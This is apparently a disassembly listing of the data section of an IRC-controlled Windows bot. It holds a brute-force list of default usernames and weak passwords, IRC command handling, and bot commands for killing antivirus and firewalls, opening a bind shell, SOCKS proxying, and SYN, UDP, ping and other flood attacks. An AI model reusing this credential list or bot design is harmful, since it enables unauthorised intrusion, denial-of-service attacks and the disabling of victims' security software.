aStudent db 'student',0 ; DATA XREF: _2:0043F378o
aTeacher db 'teacher',0 ; DATA XREF: _2:0043F37Co
aWwwadmin db 'wwwadmin',0 ; DATA XREF: _2:0043F380o
align 10h
aGuest_0 db 'guest',0 ; DATA XREF: _2:0043F384o
align 4
aDefault db 'default',0 ; DATA XREF: _2:0043F388o
aDatabase db 'database',0 ; DATA XREF: _2:0043F38Co
align 4
aDba db 'dba',0 ; DATA XREF: _2:0043F390o
aOracle db 'oracle',0 ; DATA XREF: _2:0043F394o
align 4
aDb2 db 'db2',0 ; DATA XREF: _2:0043F398o
align 10h
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 10h
aAdministrato_1 db 'administrator',0 ; DATA XREF: _2:0043F814o
align 10h
aAdministrado_0 db 'administrador',0 ; DATA XREF: _2:0043F818o
align 10h
aAdministrate_0 db 'administrateur',0 ; DATA XREF: _2:0043F81Co
align 10h
aAdministrat_0 db 'administrat',0 ; DATA XREF: _2:0043F820o
aAdmins_0 db 'admins',0 ; DATA XREF: _2:0043F824o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: _2:0043F828o
align 4
aAdm db 'adm',0 ; DATA XREF: _2:0043F82Co
aPassword1 db 'password1',0 ; DATA XREF: _2:0043F830o
align 4
aPassword db 'password',0 ; DATA XREF: _2:0043F834o
align 4
aPasswd db 'passwd',0 ; DATA XREF: _2:0043F838o
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: _2:0043F83Co
align 4
aPass_1 db 'pass',0 ; DATA XREF: _2:0043F840o
align 4
aPwd db 'pwd',0 ; DATA XREF: _2:0043F844o
a007 db '007',0 ; DATA XREF: _2:0043F848o
a1: ; DATA XREF: _2:0043F84Co
unicode 0, <1>,0
a12 db '12',0 ; DATA XREF: _2:0043F850o
align 4
a123 db '123',0 ; DATA XREF: _2:0043F854o
a1234 db '1234',0 ; DATA XREF: _2:0043F858o
align 10h
a12345 db '12345',0 ; DATA XREF: _2:0043F85Co
align 4
a123456 db '123456',0 ; DATA XREF: _2:0043F860o
align 10h
a1234567 db '1234567',0 ; DATA XREF: _2:0043F864o
a12345678 db '12345678',0 ; DATA XREF: _2:0043F868o
align 4
a123456789 db '123456789',0 ; DATA XREF: _2:0043F86Co
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: _2:0043F870o
align 4
a2000 db '2000',0 ; DATA XREF: _2:0043F874o
align 4
a2001 db '2001',0 ; DATA XREF: _2:0043F878o
align 4
a2002 db '2002',0 ; DATA XREF: _2:0043F87Co
align 4
a2003_0 db '2003',0 ; DATA XREF: _2:0043F880o
align 4
a2004 db '2004',0 ; DATA XREF: _2:0043F884o
align 4
aTest db 'test',0 ; DATA XREF: _2:0043F888o
align 4
aGuest_1 db 'guest',0 ; DATA XREF: _2:0043F88Co
align 4
aNone db 'none',0 ; DATA XREF: _2:0043F890o
align 4
aDemo db 'demo',0 ; DATA XREF: _2:0043F894o
align 4
aUnix db 'unix',0 ; DATA XREF: _2:0043F898o
align 4
aLinux db 'linux',0 ; DATA XREF: _2:0043F89Co
align 4
aChangeme db 'changeme',0 ; DATA XREF: _2:0043F8A0o
align 10h
aDefault_0 db 'default',0 ; DATA XREF: _2:0043F8A4o
aSystem db 'system',0 ; DATA XREF: _2:0043F8A8o
align 10h
aServer_6 db 'server',0 ; DATA XREF: _2:0043F8ACo
align 4
aRoot_0 db 'root',0 ; DATA XREF: _2:0043F8B0o
align 10h
aNull_1 db 'null',0 ; DATA XREF: _2:0043F8B4o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: _2:0043F8B8o
align 10h
aMail db 'mail',0 ; DATA XREF: _2:0043F8BCo
align 4
aOutlook db 'outlook',0 ; DATA XREF: _2:0043F8C0o
aWeb db 'web',0 ; DATA XREF: _2:0043F8C4o
aWww db 'www',0 ; DATA XREF: _2:0043F8C8o
aInternet db 'internet',0 ; DATA XREF: _2:0043F8CCo
align 4
aAccounts db 'accounts',0 ; DATA XREF: _2:0043F8D0o
align 10h
aAccounting db 'accounting',0 ; DATA XREF: _2:0043F8D4o
align 4
aHome db 'home',0 ; DATA XREF: _2:0043F8D8o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: _2:0043F8DCo
align 10h
aUser_4 db 'user',0 ; DATA XREF: _2:0043F8E0o
align 4
aOem db 'oem',0 ; DATA XREF: _2:0043F8E4o
aOemuser db 'oemuser',0 ; DATA XREF: _2:0043F8E8o
aOeminstall db 'oeminstall',0 ; DATA XREF: _2:0043F8ECo
align 10h
aWindows db 'windows',0 ; DATA XREF: _2:0043F8F0o
aWin98 db 'win98',0 ; DATA XREF: _2:0043F8F4o
align 10h
aWin2k db 'win2k',0 ; DATA XREF: _2:0043F8F8o
align 4
aWinxp db 'winxp',0 ; DATA XREF: _2:0043F8FCo
align 10h
aWinnt db 'winnt',0 ; DATA XREF: _2:0043F900o
align 4
aWin2000 db 'win2000',0 ; DATA XREF: _2:0043F904o
aQaz db 'qaz',0 ; DATA XREF: _2:0043F908o
aAsd db 'asd',0 ; DATA XREF: _2:0043F90Co
aZxc db 'zxc',0 ; DATA XREF: _2:0043F910o
aQwe db 'qwe',0 ; DATA XREF: _2:0043F914o
aBob db 'bob',0 ; DATA XREF: _2:0043F918o
aJen db 'jen',0 ; DATA XREF: _2:0043F91Co
aJoe db 'joe',0 ; DATA XREF: _2:0043F920o
aFred db 'fred',0 ; DATA XREF: _2:0043F924o
align 4
aBill db 'bill',0 ; DATA XREF: _2:0043F928o
align 4
aMike db 'mike',0 ; DATA XREF: _2:0043F92Co
align 4
aJohn db 'john',0 ; DATA XREF: _2:0043F930o
align 4
aPeter db 'peter',0 ; DATA XREF: _2:0043F934o
align 4
aLuke db 'luke',0 ; DATA XREF: _2:0043F938o
align 4
aSam db 'sam',0 ; DATA XREF: _2:0043F93Co
aSue db 'sue',0 ; DATA XREF: _2:0043F940o
aSusan db 'susan',0 ; DATA XREF: _2:0043F944o
align 4
aPeter_0 db 'peter',0
align 4
aBrian db 'brian',0
align 4
aLee db 'lee',0
aNeil db 'neil',0
align 4
aIan db 'ian',0
aChris db 'chris',0
align 4
aEric db 'eric',0
align 4
aGeorge db 'george',0
align 4
aKate db 'kate',0
align 4
aBob_0 db 'bob',0
aKatie db 'katie',0
align 4
aMary db 'mary',0
align 10h
aLogin_0 db 'login',0
align 4
aLoginpass db 'loginpass',0
align 4
aTechnical db 'technical',0
align 10h
aBackup db 'backup',0
align 4
aExchange db 'exchange',0
align 4
aFuck db 'fuck',0
align 4
aBitch db 'bitch',0
align 4
aSlut db 'slut',0
align 4
aSex db 'sex',0
aGod db 'god',0
aHell db 'hell',0
align 4
aHello db 'hello',0
align 4
aDomain db 'domain',0
align 4
aDomainpass db 'domainpass',0
align 4
aDomainpassword db 'domainpassword',0
align 4
aDatabase_0 db 'database',0
align 4
aAccess db 'access',0
align 4
aDbpass db 'dbpass',0
align 4
aDbpassword db 'dbpassword',0
align 10h
aDatabasepass db 'databasepass',0 ; DATA XREF: _2:0043F9C1o
align 10h
aData db 'data',0
align 4
aDatabasepasswo db 'databasepassword',0
align 4
aDb1 db 'db1',0 ; DATA XREF: _2:0043F9CDo
aDb2_0 db 'db2',0
aDb1234 db 'db1234',0 ; DATA XREF: _2:0043F9D5o
align 4
aSa_0 db 'sa',0
align 10h
aSql db 'sql',0 ; DATA XREF: _2:0043F9DDo
aSqlpassoainsta db 'sqlpassoainstall',0
align 4
aOrainstall db 'orainstall',0 ; DATA XREF: _2:loc_43F9E5o
align 4
aOracle_0 db 'oracle',0
align 4
aIbm db 'ibm',0
aCisco db 'cisco',0
align 4
aDell db 'dell',0
align 10h
aCompaq db 'compaq',0 ; DATA XREF: _2:0043F9F9o
align 4
aSiemens db 'siemens',0
aHp db 'hp',0 ; DATA XREF: _2:0043FA01o
align 4
aNokia db 'nokia',0
align 4
aXp db 'xp',0 ; DATA XREF: _2:0043FA09o
align 10h
aControl db 'control',0
aOffice db 'office',0
align 10h
aBlank db 'blank',0
align 4
aWinpass db 'winpass',0 ; DATA XREF: _2:0043FA19o
aMain db 'main',0
align 4
aLan db 'lan',0
aInternet_0 db 'internet',0 ; DATA XREF: _2:0043FA25o
align 4
aIntranet db 'intranet',0 ; DATA XREF: _2:0043FA2Co
align 4
aStudent_0 db 'student',0 ; DATA XREF: _2:0043FA30o
aTeacher_0 db 'teacher',0 ; DATA XREF: _2:0043FA34o
aStaff_0 db 'staff',0 ; DATA XREF: _2:0043FA38o
align 10h
dd offset byte_4E2E6D
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrado_0 ; "administrador"
dd offset aAdministrate_0 ; "administrateur"
dd offset aAdministrat_0 ; "administrat"
dd offset aAdmins_0 ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_1 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003_0 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_1 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault_0 ; "default"
dd offset aSystem ; "system"
dd offset aServer_6 ; "server"
dd offset aRoot_0 ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_4 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
; ---------------------------------------------------------------------------
or al, 0F6h
inc ebx
add [esi+esi*8], dl
inc ebx
add [esi+esi*8], bl
inc ebx
add [eax], ah
test byte ptr [ebx+0], 28h
test byte ptr [ebx+0], 2Ch
test byte ptr [ebx+0], 34h
test byte ptr [ebx+0], 3Ch
test byte ptr [ebx+0], 44h
test byte ptr [ebx+0], 4Ch
test byte ptr [ebx+0], 50h
test byte ptr [ebx+0], 58h
test byte ptr [ebx+0], 60h
test byte ptr [ebx+0], 68h
test byte ptr [ebx+0], 74h
test byte ptr [ebx+0], 80h
test byte ptr [ebx+0], 88h
test byte ptr [ebx+0], 94h
test byte ptr [ebx+0], 9Ch
test byte ptr [ebx+0], 0A4h
test byte ptr [ebx+0], 0ACh
test byte ptr [ebx+0], 0B0h
test byte ptr [ebx+0], 0B4h
test byte ptr [ebx+0], 0BCh
test byte ptr [ebx+0], 0C4h
test byte ptr [ebx+0], 0CCh
test byte ptr [ebx+0], 0D8h
test byte ptr [ebx+0], 0E8h
test byte ptr [ebx+0], 0F4h
test byte ptr [ebx+0], 0FCh
test byte ptr [ebx+0], 4
test dword ptr [ebx+0], offset aDatabasepass ; "databasepass"
and bh, dh
inc ebx
add [eax], ch
test dword ptr [ebx+0], offset aDb1 ; "db1"
inc eax
test dword ptr [ebx+0], offset aDb1234 ; "db1234"
dec esp
test dword ptr [ebx+0], offset aSql ; "sql"
push esp
loc_43F9E5: ; CODE XREF: _2:0043F9ECj
test dword ptr [ebx+0], offset aOrainstall ; "orainstall"
jz short loc_43F9E5
inc ebx
add [edi+esi*8+43h], bh
add [eax-77FFBC09h], al
test dword ptr [ebx+0], offset aCompaq ; "compaq"
cwde
test dword ptr [ebx+0], offset aHp ; "hp"
movsb
test dword ptr [ebx+0], offset aXp ; "xp"
mov al, 0F7h
inc ebx
add [eax-3FFFBC09h], bh
test dword ptr [ebx+0], offset aWinpass ; "winpass"
sal bh, 1
inc ebx
add al, bl
test dword ptr [ebx+0], offset aInternet_0 ; "internet"
; ---------------------------------------------------------------------------
dd offset aIntranet ; "intranet"
dd offset aStudent_0 ; "student"
dd offset aTeacher_0 ; "teacher"
dd offset aStaff_0 ; "staff"
align 10h
dword_43FA40 dd 10h ; DATA XREF: sub_401C87+ABBr
; sub_401C87+AE7r ...
dword_43FA44 dd 73257325h, 0 ; DATA XREF: sub_401404+10Ao
dword_43FA4C dd 255C7325h, 73h ; DATA XREF: sub_401404+186o
dword_43FA54 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401404+27Do
dword_43FA60 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_401404+352o
dd 2E646574h, 0
unk_43FA7C db 2Dh ; - ; DATA XREF: sub_401404+38Do
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 10h
unk_43FAA0 db 2Dh ; - ; DATA XREF: sub_401404+3DEo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
dword_43FAE0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401404+40Bo
aServerRunningO db '- Server running on Port: 113.',0
align 4
dword_43FB0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401404+456o
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 10h
unk_43FB40 db 2Dh ; - ; DATA XREF: sub_4019A5+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B0B+35o
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B0B+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
asc_43FB88 db ' :',0 ; DATA XREF: sub_401C87+86o
align 4
asc_43FB8C: ; DATA XREF: sub_401C87+AEo
unicode 0, < !>,0
aPing db 'PING',0 ; DATA XREF: sub_401C87+19Do
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1B7o
align 4
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1D8o
align 4
a001 db '001',0 ; DATA XREF: sub_401C87+1F4o
a005 db '005',0 ; DATA XREF: sub_401C87+209o
a302 db '302',0 ; DATA XREF: sub_401C87+21Eo
a@: ; DATA XREF: sub_401C87+22Eo
unicode 0, <@>,0
a433 db '433',0 ; DATA XREF: sub_401C87+260o
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+288o
align 4
aKick db 'KICK',0 ; DATA XREF: sub_401C87+2DDo
align 10h
unk_43FBE0 db 2Dh ; - ; DATA XREF: sub_401C87+340o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User %s logged out.',0
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+359o
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3A3o
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_401C87+3B9o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401C87+4D9o
align 10h
aPart db 'PART',0 ; DATA XREF: sub_401C87+501o
align 4
aQuit db 'QUIT',0 ; DATA XREF: sub_401C87+512o
align 10h
a353 db '353',0 ; DATA XREF: sub_401C87+550o
unk_43FC44 db 2Dh ; - ; DATA XREF: sub_401C87+581o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: %s.',0
unk_43FC64 db 2Dh ; - ; DATA XREF: sub_401C87+5A8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User: %s logged out.',0
align 4
aPart_0 db 'PART',0 ; DATA XREF: sub_401C87+5C5o
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5E9o
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401C87+5F4o
aNotice db 'NOTICE',0 ; DATA XREF: sub_401C87+605o
align 10h
a332 db '332',0 ; DATA XREF: sub_401C87+616o
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401C87+637o
aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401C87+64Co
align 4
dword_43FCC4 dd 43434401h, 0 ; DATA XREF: sub_401C87+68Eo
aSend_1 db 'SEND',0 ; DATA XREF: sub_401C87+6ACo
align 4
aS_20 db '%s',0 ; DATA XREF: sub_401C87+6D9o
align 4
aS_21 db '%s',0 ; DATA XREF: sub_401C87+6F1o
align 4
unk_43FCDC db 2Dh ; - ; DATA XREF: sub_401C87+74Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401C87+7ABo
align 4
asc_43FD14: ; DATA XREF: sub_401C87+7D0o
unicode 0, <#>,0
dword_43FD18 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401C87+856o
dword_43FD24 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401C87+881o
dd 0D017325h, 0Ah
dword_43FD40 dd 4E495001h, 47h ; DATA XREF: sub_401C87+88Co
dword_43FD48 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401C87+8BDo
dd 0A0Dh
unk_43FD60 db 2Dh ; - ; DATA XREF: sub_401C87+8E0o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 10h
unk_43FDA0 db 2Dh ; - ; DATA XREF: sub_401C87+8FEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401C87+91Bo
align 4
aS db '%s',0 ; DATA XREF: sub_401C87+958o
align 10h
unk_43FDF0 db 2Dh ; - ; DATA XREF: sub_401C87+9AFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
unk_43FE10 db 2Dh ; - ; DATA XREF: sub_401C87+A08o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_43FE48 db 2Dh ; - ; DATA XREF: sub_401C87+A2Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_43FE78 db 2Dh ; - ; DATA XREF: sub_401C87+A3Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
aLogin db 'login',0 ; DATA XREF: sub_401C87+A62o
asc_43FEB2 db 'l',0 ; DATA XREF: sub_401C87+A7Ao
a332_0 db '332',0 ; DATA XREF: sub_401C87+A9Co
asc_43FEB8 db ' :',0 ; DATA XREF: sub_401C87:loc_40277Bo
align 4
aD db '$%d-',0 ; DATA XREF: sub_401C87+B58o
align 4
aD_0 db '$%d',0 ; DATA XREF: sub_401C87+C0Eo
aMe db '$me',0 ; DATA XREF: sub_401C87+C82o
aUser db '$user',0 ; DATA XREF: sub_401C87+C94o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401C87+CA5o
align 4
aRndnick db '$rndnick',0 ; DATA XREF: sub_401C87+CC1o
align 4
aServer db '$server',0 ; DATA XREF: sub_401C87+CD2o
aChr db '$chr(',0 ; DATA XREF: sub_401C87+CDDo
align 4
aChr_0 db '$chr(',0 ; DATA XREF: sub_401C87:loc_40297Ao
asc_43FEFE db ')',0 ; DATA XREF: sub_401C87+D1Bo
a63 db '63',0 ; DATA XREF: sub_401C87+D43o
align 4
asc_43FF04: ; DATA XREF: sub_401C87+E1Eo
unicode 0, < >
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401C87+E68o
aRn db 'rn',0 ; DATA XREF: sub_401C87+E80o
align 4
aDie db 'die',0 ; DATA XREF: sub_401C87+E95o
aD_1: ; DATA XREF: sub_401C87+EAAo
unicode 0, <d>,0
aLogout db 'logout',0 ; DATA XREF: sub_401C87+EBFo
align 4
aLo db 'lo',0 ; DATA XREF: sub_401C87+ED4o
align 4
aVersion db 'version',0 ; DATA XREF: sub_401C87+EE9o
aVer db 'ver',0 ; DATA XREF: sub_401C87+EFEo
aDedication db 'dedication',0 ; DATA XREF: sub_401C87+F13o
align 10h
aDed db 'ded',0 ; DATA XREF: sub_401C87+F28o
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401C87+F3Do
align 10h
aSt db 'st',0 ; DATA XREF: sub_401C87+F52o
align 4
aSecure db 'secure',0 ; DATA XREF: sub_401C87+F67o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401C87+F7Co
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401C87+F91o
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401C87+FA6o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401C87+FBBo
align 10h
aBd db 'bd',0 ; DATA XREF: sub_401C87+FD0o
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401C87+FE5o
align 4
aServer_1 db 'Server',0 ; DATA XREF: sub_401C87+FFEo
align 4
dword_43FF9C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401C87+1003o
aSocks4 db 'socks4',0 ; DATA XREF: sub_401C87+1025o
align 4
aS4 db 's4',0 ; DATA XREF: sub_401C87+103Ao
align 4
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401C87+104Fo
align 4
aServer_2 db 'Server',0 ; DATA XREF: sub_401C87+1068o
align 10h
dword_43FFD0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401C87+106Do
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401C87+1075o
align 4
aServer_3 db 'Server',0 ; DATA XREF: sub_401C87+108Eo
align 4
dword_43FFF4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401C87+1093o
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401C87+109Eo
align 10h
aServer_4 db 'Server',0 ; DATA XREF: sub_401C87+10B7o
align 4
dword_440018 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401C87+10BCo
aLogstop db 'logstop',0 ; DATA XREF: sub_401C87+10C7o
aLogList db 'Log list',0 ; DATA XREF: sub_401C87+10E0o
align 4
dword_44003C dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401C87+10E5o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401C87+10F0o
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401C87+1109o
align 4
dword_440068 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401C87+110Eo
dword_440078 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401C87+1119o
dword_440084 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+1132o
dword_440090 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401C87+1137o
aSynstop db 'synstop',0 ; DATA XREF: sub_401C87+1142o
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401C87+115Bo
align 10h
dword_4400B0 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401C87+1160o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401C87+116Bo
align 4
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401C87+1184o
align 4
dword_4400D8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401C87+1189o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401C87+1194o
align 4
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401C87+11ADo
align 4
dword_440104 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401C87+11B2o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401C87+11BDo
align 10h
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401C87+11D6o
align 4
dword_44012C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401C87+11DBo
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401C87+11E6o
align 4
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401C87+1207o
align 10h
dword_440150 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401C87+120Co
dword_44015C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+1225o
dword_440168 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401C87+122Ao
dword_440174 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+1246o
dword_440180 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401C87+124Bo
dword_44018C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+1264o
dword_440198 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401C87+1269o
dword_4401A4 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401C87+1285o
dword_4401B4 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401C87+128Ao
dword_4401C4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+12A3o
dword_4401D0 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401C87+12A8o
dword_4401DC dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+12C4o
dword_4401EC dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401C87+12C9o
dword_4401FC dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401C87+12E2o
dword_44020C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401C87+12E7o
dword_44021C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401C87+1303o
dword_44022C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401C87+1308o
unk_44023C db 2Dh ; - ; DATA XREF: sub_401C87+1322o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401C87+133Co
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401C87+1355o
align 4
dword_44028C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401C87+135Ao
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401C87+1365o
align 4
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401C87+137Eo
align 4
dword_4402B8 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401C87+1383o
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401C87+138Eo
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401C87+13A7o
align 4
dword_4402DC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401C87+13ACo
aPingstop db 'pingstop',0 ; DATA XREF: sub_401C87+13B7o
align 4
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401C87+13D0o
align 10h
dword_440300 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401C87+13D5o
